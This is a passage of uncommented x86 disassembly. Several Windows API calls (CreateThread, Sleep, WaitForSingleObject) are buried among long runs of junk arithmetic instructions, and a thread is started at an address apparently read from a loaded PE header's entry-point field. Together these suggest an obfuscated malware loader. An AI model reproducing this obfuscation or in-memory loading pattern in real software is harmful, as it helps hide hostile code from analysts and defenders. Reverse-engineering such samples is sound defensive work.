mov dword [esp + 8], 8
call fcn.00401240
lea ecx, [ebp - 0x102]
mov eax, dword [ebp - 0x88]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x102]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x88]
mov word [eax], cx
mov ebx, 7
imul esi
ror ebx, 0x75
add edx, 0xf3
imul ebx
not esi
not edx
not ebx
bswap edx
ror edi, 0x26
rcr esi, 0xde
rcr edi, 0x3d
rol esi, 0x6a
not edi
sbb esi, 0xd5
and edi, 0xdb
neg eax
bswap edi
rcl esi, 0xc7
imul ebx
mov esi, 0xb
bswap esi
add edi, 0x70
sbb edi, 0x18
bswap eax
neg ebx
not ebx
rcl ebx, 0x28
sbb edx, 0x6c
sub esi, 0xa1
add edx, 0xf7
sbb edx, 0xc1
rcl eax, 0x68
sbb edi, 0x77
sub edi, 0x3d
rcl ebx, 0x14
inc esi
and edi, 0x75
neg eax
sbb esi, 0xba
not esi
imul eax
rcl edx, 0x93
bswap edx
neg esi
dec eax
rol esi, 0x17
inc ebx
neg esi
rol edx, 0x3a
dec edi
or edi, 0x8a
bswap edx
sub edx, 0x25
imul esi
neg edi
ror ebx, 0x28
inc eax
bswap eax
dec eax
bswap edi
rcr esi, 0x16
not eax
rcr esi, 0x28
or esi, 9
neg edx
sbb ebx, 0x17
neg edx
and edx, 0x8f
and ebx, 0xe8
rcr eax, 0x17
rcr esi, 0xf
rol edx, 0xd
rcl edx, 0xed
and eax, 0xb1
dec edx
rcr eax, 0x32
neg edx
dec ebx
dec edi
neg esi
and ebx, 0x59
neg edx
neg esi
sub edi, 0x5c
mov ebx, 0xc0
rol ebx, 0xe1
not ebx
add eax, 0xbf
rcr esi, 0x56
bswap eax
rcl edi, 0x2d
and edx, 0x89
not ebx
inc edx
neg esi
rcl edi, 0x40
dec edi
and eax, 0xf1
dec eax
mov edi, 0x82
imul eax
imul edx
dec edi
inc edi
bswap edi
rol eax, 0x51
add edi, 0
inc eax
sub eax, 0xda
rcr edi, 0xd8
rcl eax, 0x58
ror ebx, 0x39
rcr eax, 0xc1
and edi, 1
dec esi
not edx
rcr esi, 0xa
rol eax, 0x16
and ebx, 0x9f
and esi, 0x82
sbb edx, 0x57
neg edx
imul edx
and esi, 0x70
rcr edi, 0x5f
sub ebx, 0xe9
neg ebx
add ebx, 0x3d
bswap edi
neg eax
rcl eax, 0xd2
bswap edi
not eax
rcl eax, 0x19
neg ebx
inc edi
or ebx, 0xe6
imul eax
inc esi
mov esi, 0x94
ror edi, 0xc7
add eax, 0x47
rcl edx, 0x9c
imul edx
sbb edi, 0xab
imul ebx
imul ebx
imul esi
bswap ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x110], eax
test byte [ebp - 0x103], 1
je 0x402754
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x10c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00401240
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
bswap ebx
or eax, 0x4d
imul edx
add esi, 0x74
add ebx, 0xf2
inc ebx
dec ebx
bswap edx
mov edx, 0x2d
or ebx, 0x44
rcl edx, 0x7a
rcl ebx, 0x30
rol esi, 0x51
bswap esi
neg edx
add ebx, 0x60
rol ebx, 0x89
inc esi
dec edx
not edi
rcr edi, 0x45
bswap edx
imul eax
inc ebx
not edi
not edi
inc ebx
rol ebx, 0xf5
ror esi, 0x41
not edi
imul eax
imul edi
sub edx, 0xd0
bswap ebx
ror edx, 0x29
not edx
inc eax
rcr eax, 0x84
imul esi
not edi
sub eax, 0xac
and esi, 0x42
mov esi, 0xd3
or esi, 0x4b
neg eax
rcl edx, 0x83
not edx
inc edx
sub eax, 0xb8
rcl edx, 0xad
mov eax, 0x79
mov esi, 0x43
not edx
not edi
add edi, 0x2d
sub ebx, 0x36
rol edx, 0x95
imul edi
and edi, 0xa7
inc edi
imul esi
neg edx
inc ebx
sub eax, 0xc
inc edx
sbb esi, 0xc1
sub edx, 0xd1
rcr edx, 0x83
sbb edi, 0x5f
sub esi, 0xc1
sub edi, 0xd1
or ebx, 0x7c
and ebx, 0x20
inc esi
rol edx, 0x76
bswap edi
neg eax
bswap edi
inc edi
add esi, 0xf2
mov esi, 0x31
imul edx
rol edx, 7
not esi
sbb esi, 0x35
neg edx
inc ebx
inc edx
bswap eax
or eax, 0xd8
sub eax, 0x78
not edi
imul eax
not edi
and edi, 0xca
dec eax
not esi
sbb esi, 0xc
ror ebx, 0x82
ror edi, 0xe7
or edi, 0xba
rol eax, 0x5a
sbb eax, 0xb4
add edx, 0xf2
mov eax, 0x46
neg edx
neg edi
sbb edi, 0x1c
rol esi, 0xc4
neg ebx
and edi, 0xd0
sub edx, 0xfb
not eax
or esi, 0xdd
bswap edi
rcl eax, 0xe3
rol esi, 0x55
imul ebx
dec ebx
inc edi
bswap edx
rcl eax, 0x40
add esi, 0x8e
sbb eax, 0xa
inc edi
not ebx
neg eax
rol edx, 0xf1
rol edi, 0x1d
ror edi, 0x74
sbb edx, 0x48
dec edi
imul edx
rcr edi, 0x71
imul ebx
and esi, 0xb4
bswap eax
mov edx, 0xcb
sub esi, 0xa2
bswap edi
imul ebx
add eax, 0x1f
sub esi, 0x56
ror eax, 0xeb
and eax, 0x14
dec eax
inc edi
imul ebx
or edx, 0xf
dec edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x124
pop esi
pop edi
pop ebx
pop ebp
ret